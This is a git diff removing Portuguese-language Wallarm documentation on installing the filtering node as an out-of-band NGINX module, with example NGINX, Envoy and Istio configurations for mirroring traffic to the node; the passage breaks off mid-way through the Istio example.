a/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/all-in-one.md b/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/all-in-one.md deleted file mode 100644 index 804d7528e7..0000000000 --- a/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/all-in-one.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[platform]: ../../../supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[oob-advantages-limitations]: ../../../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../../../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring - -# Implantando com o instalador All-in-One - -Estas instruções descrevem os passos para instalar o Wallarm como um módulo dinâmico [OOB](../overview.md) usando um **instalador all-in-one** projetado para simplificar e padronizar o processo de instalação do nó Wallarm como um módulo dinâmico para NGINX em vários ambientes. Este instalador identifica automaticamente as versões do seu sistema operacional e do NGINX, e instala todas as dependências necessárias. - -Em comparação com os pacotes Linux individuais oferecidos pelo Wallarm para [NGINX](nginx-stable.md), [NGINX Plus](nginx-plus.md), e [NGINX fornecido pela distribuição](nginx-distro.md), o **instalador all-in-one** simplifica o processo realizando automaticamente as seguintes ações: - -1. Verificando a versão do seu SO e do NGINX. -1. Adicionando os repositórios Wallarm para o SO detectado e a versão NGINX. -1. Instalando pacotes Wallarm desses repositórios. -1. Conectando o módulo Wallarm instalado ao seu NGINX. -1. Conectando o nó de filtragem ao Wallarm Cloud usando o token fornecido. - -![Comparação entre All-in-One e Manual](../../../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/all-in-one/use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/all-in-one-requirements.md" - -## Passo 1: Instalar o NGINX e as dependências - ---8<-- "../include-pt-BR/waf/installation/all-in-one-nginx.md" - -## Passo 2: Preparar o token Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-token.md" - -## Passo 3: Baixar o instalador Wallarm all-in-one - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -## Passo 4: Executar o instalador Wallarm all-in-one - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-run.md" - -Os comandos nos próximos passos são os mesmos para as instalações x86_64 e ARM64. - -## Passo 5: Habilitar o nó Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md" - -## Passo 6: Reiniciar o NGINX - ---8<-- "../include-pt-BR/waf/installation/restart-nginx-systemctl.md" - -## Passo 7: Configurar o envio de tráfego para o nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-oob.md" - -## Passo 8: Testar a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## Passo 9: Ajustar a solução implantada - -O módulo Wallarm dinâmico com as configurações padrão está instalado. O nó de filtragem pode exigir alguma configuração adicional após a implantação. - -As configurações Wallarm são definidas usando as [diretivas NGINX](../../../../admin-en/configure-parameters-en.md) ou a UI do Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/nginx.conf` com as configurações NGINX -* `/etc/nginx/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. Uma descrição detalhada está disponível no [link][wallarm-status-instr] -* `/opt/wallarm/etc/collectd/wallarm-collectd.conf.d/wallarm-tarantool.conf` com as configurações para o plugin `collectd` que coleta estatísticas do Tarantool - -Abaixo estão algumas das configurações típicas que você pode aplicar se necessário: - -* [Alocando recursos para os nós Wallarm][memory-instr] -* [Fazendo logging das variáveis do nó Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Configurando a resolução dinâmica de DNS no NGINX][dynamic-dns-resolution-nginx] - -## Opções de lançamento - -Assim que você tiver o script all-in-one baixado, você pode obter ajuda sobre ele com: - -``` -sudo sh ./wallarm-4.8.0.x86_64-glibc.sh -- -h -``` - -Que retorna: - -``` -... -Uso: setup.sh [opções]... [argumentos]... [filtragem/pós-análitica] - -OPÇÃO DESCRIÇÃO --b, --batch Modo batch, instalação não interativa. --t, --token TOKEN Token do nó, usado apenas no modo batch. --c, --cloud CLOUD Wallarm Cloud, uma das US/EU, padrão é EU, usado apenas no modo batch. --H, --host HOST Endereço da API Wallarm, por exemplo, api.wallarm.com ou us1.api.wallarm.com, usado apenas no modo batch. --P, --port PORT Pot da API Wallarm, por exemplo, 443. - --no-ssl Desativar SSL para acesso à API Wallarm. - --no-verify Desativar a verificação de certificados SSL. --f, --force Se houver um nó com o mesmo nome, criar uma nova instância. --h, --help - --version -``` - -Note que: - -* A opção `--batch` habilita o **modo batch (não interativo)**. Neste modo, se você não usar parâmetros adicionais, o nó é instalado imediatamente após o lançamento do script, não requerendo nenhuma interação adicional ou entrada de dados do usuário. O modo batch: - - * Requer `--token` - * Instala o nó no Cloud do EU por padrão - * Permite modificações no comportamento do script com opções adicionais - -* O alternador `filtering/postanalytics` permite instalar [separadamente](../../../../admin-en/installation-postanalytics-en.md#postanalytics-module-installation-via-all-in-one-installation-script) o módulo de pós-análise. Se o alternador não for usado, as partes de filtragem e pós-análise são instaladas juntas. diff --git a/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-distro.md b/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-distro.md deleted file mode 100644 index 6070535a22..0000000000 --- a/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-distro.md +++ /dev/null @@ -1,106 +0,0 @@ -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[oob-advantages-limitations]: ../../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - -# Instalando o Módulo Dinâmico Wallarm OOB para Distribuição Provida de NGINX - -Estas instruções descrevem os passos para instalar o Wallarm como um módulo dinâmico [OOB](../overview.md) usando pacotes Linux para distribuição provida de NGINX. - -NGINX Open Source pode ser obtido a partir de nginx.org ou dos repositórios default de Debian/CentOS dependendo das suas necessidades, preferências de versão do NGINX e políticas de gerenciamento de repositórios. Wallarm fornece pacotes para ambas versões -[nginx.org](nginx-stable.md) e fornecidas pela distribuição. Este guia se foca no NGINX de repositórios Debian/CentOS. - -O módulo Wallarm é compatível com NGINX provida pela distribuição nos seguintes sistemas operacionais: - -* Debian 10.x (buster) -* Debian 11.x (bullseye) -* CentOS 7.x -* AlmaLinux, Rocky Linux ou Oracle Linux 8.x -* RHEL 8.x - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-distro-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-distro.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md" - -## 5. Ativar Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/oob/steps-for-mirroring-linux.md" - -## 6. Reiniciar NGINX - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -## 7. Configurar o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-oob.md" - -## 8. Testar a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 9. Ajustar finamente a solução implantada - -O módulo dinâmico Wallarm com configurações default é instalado para o NGINX `stable`. O nó de filtragem pode exigir alguma configuração adicional após a implantação. - -As configurações do Wallarm são definidas usando as [diretivas do NGINX](../../../../admin-en/configure-parameters-en.md) ou a interface de usuário Wallarm Console. As directivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes a diferentes grupos de domínios, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Informações mais detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. Uma descrição detalhada está disponível [aqui][wallarm-status-instr]. -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações de banco de dados do Tarantool - -Abaixo estão algumas das configurações típicas que você pode aplicar se necessário: - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" - -* [Configurando a resolução dinâmica do DNS no NGINX][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-plus.md b/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-plus.md deleted file mode 100644 index 250342faaf..0000000000 --- a/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-plus.md +++ /dev/null @@ -1,89 +0,0 @@ -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[oob-advantages-limitations]: ../../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - -# Instalando o Módulo Dinâmico Wallarm OOB para NGINX Plus usando Pacotes Linux - -Estas instruções descrevem os passos para instalar o Wallarm como um módulo dinâmico [OOB](../overview.md) para o NGINX Plus. - -Wallarm suporta os seguintes sistemas operacionais: - -* Debian 11.x (bullseye) -* Ubuntu 18.04 LTS (bionic) -* Ubuntu 20.04 LTS (focal) -* Ubuntu 22.04 LTS (jammy) -* CentOS 7.x -* Amazon Linux 2.0.2021x e inferior -* AlmaLinux, Rocky Linux ou Oracle Linux 8.x -* RHEL 8.x - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-plus-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-plus.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md" - -## 6. Habilitar Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/oob/steps-for-mirroring-linux.md" - -## 7. Reinicie o NGINX Plus - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - ---8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -## 8. Configure o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-oob.md" - -## 9. Teste a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 10. Afinar a solução implantada - -O módulo dinâmico Wallarm com as configurações padrão está instalado para o NGINX Plus. O nó de filtragem pode exigir alguma configuração adicional após a implantação. - -As configurações do Wallarm são definidas usando as [diretrizes do NGINX](../../../../admin-en/configure-parameters-en.md) ou a interface do usuário do console Wallarm. As diretrizes devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com as configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com as configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes para diferentes grupos de domínios, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. Uma descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -Abaixo, há algumas das configurações típicas que você pode aplicar, se necessário: - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-stable.md b/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-stable.md deleted file mode 100644 index dbcb975a31..0000000000 --- a/docs/latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-stable.md +++ /dev/null @@ -1,91 +0,0 @@ -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[oob-advantages-limitations]: ../../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - -# Instalação do Módulo Dinâmico Wallarm OOB para NGINX Stable usando Pacotes Linux - -Estas instruções descrevem os passos para instalar Wallarm como um módulo dinâmico [OOB](../overview.md) usando pacotes Linux para NGINX `estável` do nginx.org. - -Wallarm suporta os seguintes sistemas operacionais: - -* Debian 11.x (bullseye) -* Ubuntu 18.04 LTS (bionic) -* Ubuntu 20.04 LTS (focal) -* Ubuntu 22.04 LTS (jammy) -* CentOS 7.x -* Amazon Linux 2.0.2021x e inferior -* AlmaLinux, Rocky Linux ou Oracle Linux 8.x -* RHEL 8.x - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-stable-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-stable.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md" - -## 6. Habilitar Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/oob/steps-for-mirroring-linux.md" - -## 7. Reiniciar NGINX - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - ---8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -## 8. Configurar o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-oob.md" - -## 9. Testar operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 10. Ajuste fino da solução implantada - -O módulo dinâmico Wallarm com as configurações padrão está instalado para NGINX `estável`. O nó de filtragem pode requerer alguma configuração adicional após a implementação. - -As configurações Wallarm são definidas por meio das [diretrizes NGINX](../../../../admin-en/configure-parameters-en.md) ou da Wallarm Console UI. As diretrizes devem ser configuradas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com as configurações NGINX -* `/etc/nginx/conf.d/wallarm.conf` com as configurações globais do nó de filtragem - - Este arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar diferentes configurações a grupos de domínios diferentes, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínios (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre os arquivos de configuração NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. Descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` or `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -Abaixo estão alguns dos ajustes típicos que você pode aplicar se necessário: - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" - -* [Configurando resolução dinâmica de DNS no NGINX][dynamic-dns-resolution-nginx] diff --git a/docs/latest-pt-BR/installation/oob/web-server-mirroring/overview.md b/docs/latest-pt-BR/installation/oob/web-server-mirroring/overview.md deleted file mode 100644 index c4cca0a04f..0000000000 --- a/docs/latest-pt-BR/installation/oob/web-server-mirroring/overview.md +++ /dev/null @@ -1,278 +0,0 @@ -# Wallarm OOB para Tráfego Espelhado por NGINX, Envoy e Similares - -Este artigo explica como implantar o Wallarm como a solução de [OOB](../overview.md) se você optar por produzir um espelho de tráfego com o seu NGINX, Envoy ou solução semelhante. - -O espelhamento de tráfego pode ser implementado configurando um servidor web, proxy ou semelhante para copiar o tráfego de entrada para os serviços Wallarm para análise. Com essa abordagem, o fluxo de tráfego típico se parece com o seguinte: - -![Esquema OOB](../../../images/waf-installation/oob/wallarm-oob-deployment-scheme.png) - -## Procedimento de implantação - -Para implantar e configurar o Wallarm para analisar um espelho de tráfego, você precisa: - -1. Implantar o nó Wallarm na sua infraestrutura por um dos seguintes métodos: - - * [Para AWS usando a Imagem de Máquina](aws-ami.md) - * [Para GCP usando a Imagem de Máquina](gcp-machine-image.md) - - - - !!! info "Suporte para análise de tráfego espelhado" - Apenas os nós Wallarm baseados em NGINX suportam a filtragem de tráfego espelhado. -1. Configure o Wallarm para analisar a cópia do tráfego - as instruções acima estão equipadas com as etapas necessárias. -1. Configure sua infraestrutura para produzir uma cópia do seu tráfego de entrada e enviar a cópia para um nó Wallarm como para um back-end adicional. - - Para detalhes da configuração, recomendamos que você consulte a documentação dos componentes que estão sendo usados em sua infraestrutura. [Abaixo](#exemplos-de-configuração-do-servidor-web-para-espelhamento-de-tráfego) damos exemplos de configuração para algumas soluções populares como NGINX, Envoy e similares, mas a configuração real depende das peculiaridades da sua infraestrutura. - -## Exemplos de configuração para espelhamento de tráfego - -Aqui estão os exemplos de como configurar o NGINX, Envoy, Traefik, Istio para espelhar o tráfego de entrada para os nós Wallarm como para um back-end adicional. - -### NGINX - -A partir do NGINX 1.13, você pode espelhar o tráfego para um back-end adicional. Para que o NGINX espelhe o tráfego: - -1. Configure o módulo [`ngx_http_mirror_module`](http://nginx.org/en/docs/http/ngx_http_mirror_module.html) configurando a diretiva `mirror` no bloco `location` ou `server`. - - O exemplo abaixo irá espelhar as solicitações recebidas em `location /` para `location /mirror-test`. -1. Para enviar o tráfego espelhado para o nó Wallarm, liste os cabeçalhos para serem espelhados e especifique o endereço IP da máquina com o nó na `location` que a diretiva `mirror` aponta. - -``` -location / { - mirror /mirror-test; - mirror_request_body on; - root /usr/share/nginx/html; - index index.html index.htm; - } - -location /mirror-test { - internal; - #proxy_pass http://111.11.111.1$request_uri; - proxy_pass http://222.222.222.222$request_uri; - proxy_set_header X-SERVER-PORT $server_port; - proxy_set_header X-SERVER-ADDR $server_addr; - proxy_set_header HOST $http_host; - proxy_set_header X-Forwarded-For $realip_remote_addr; - proxy_set_header X-Forwarded-Port $realip_remote_port; - proxy_set_header X-Forwarded-Proto $http_x_forwarded_proto; - proxy_set_header X-Scheme $scheme; - proxy_set_header X-Request-ID $request_id; - } -``` - -[Revise a documentação do NGINX](http://nginx.org/en/docs/http/ngx_http_mirror_module.html) - -### Envoy - -Este exemplo configura o espelhamento de tráfego com o Envoy por meio do único `listener` escutando a porta 80 (sem TLS) e tendo um único `filter`. Os endereços de um back-end original e back-end adicional recebendo tráfego espelhado são especificados no bloco `clusters`. - -```yaml -static_resources: - listeners: - - address: - socket_address: - address: 0.0.0.0 - port_value: 80 - filter_chains: - - filters: - - name: envoy.filters.network.http_connection_manager - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager - stat_prefix: ingress_http - codec_type: AUTO - route_config: - name: local_route - virtual_hosts: - - name: backend - domains: - - "*" - routes: - - match: - prefix: "/" - route: - cluster: httpbin # <-- link para o cluster original - request_mirror_policies: - - cluster: wallarm # <-- link para o cluster que recebe as solicitações espelhadas - runtime_fraction: - default_value: - numerator: 100 - http_filters: - - name: envoy.filters.http.router - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router - - clusters: - ### Definição do cluster original - ### - - name: httpbin - type: STRICT_DNS - lb_policy: ROUND_ROBIN - load_assignment: - cluster_name: httpbin - endpoints: - - lb_endpoints: - - endpoint: - address: - ### Endereço do ponto de extremidade original. O endereço é o nome de DNS - ### ou endereço IP, port_value é o número da porta TCP - ### - socket_address: - address: httpbin # <-- definição do cluster original - port_value: 80 - - ### Definição do cluster que recebe as solicitações espelhadas - ### - - name: wallarm - type: STRICT_DNS - lb_policy: ROUND_ROBIN - load_assignment: - cluster_name: wallarm - endpoints: - - lb_endpoints: - - endpoint: - address: - ### Endereço do ponto de extremidade original. O endereço é o nome de DNS - ### ou endereço IP, port_value é o número da porta TCP. O esquema de espelho Wallarm - ### pode ser implantado com qualquer porta, mas o - ### valor padrão é TCP/8445 para o módulo Terraform, e - ### o valor padrão para outras opções de implantação deve ser 80. - ### - socket_address: - address: wallarm - port_value: 8445 -``` - -[Revise a documentação do Envoy](https://www.envoyproxy.io/docs/envoy/latest/api-v3/config/route/v3/route_components.proto) - -### Istio - -Para que o Istio espelhe o tráfego, você pode configurar o `VirtualService` para espelhar rotas para o ponto de extremidade interno (interno para o Istio, por exemplo, hospedado no Kubernetes) ou para o ponto de extremidade externo com `ServiceEntry`: - -* Para habilitar o espelhamento de solicitações internas do cluster (por exemplo, entre pods), adicione `mesh` a `.spec.gateways`. -* Para habilitar o espelhamento de solicitações externas (por exemplo, via serviço LoadBalancer ou NodePort), configure o componente `Gateway` do Istio e adicione o nome do componente a `.spec.gateways` de `VirtualService`. Esta opção está apresentada no exemplo abaixo. - -```yaml ---- -### Configuração de destino para tráfego espelhado -### -apiVersion: networking.istio.io/v1beta1 -kind: ServiceEntry -metadata: - name: wallarm-external-svc -spec: - hosts: - - some.external.service.tld # endereço de destino do espelhamento - location: MESH_EXTERNAL - ports: - - number: 8445 # porta de destino do espelhamento - name: http - protocol: HTTP - resolution: DNS ---- -apiVersion: 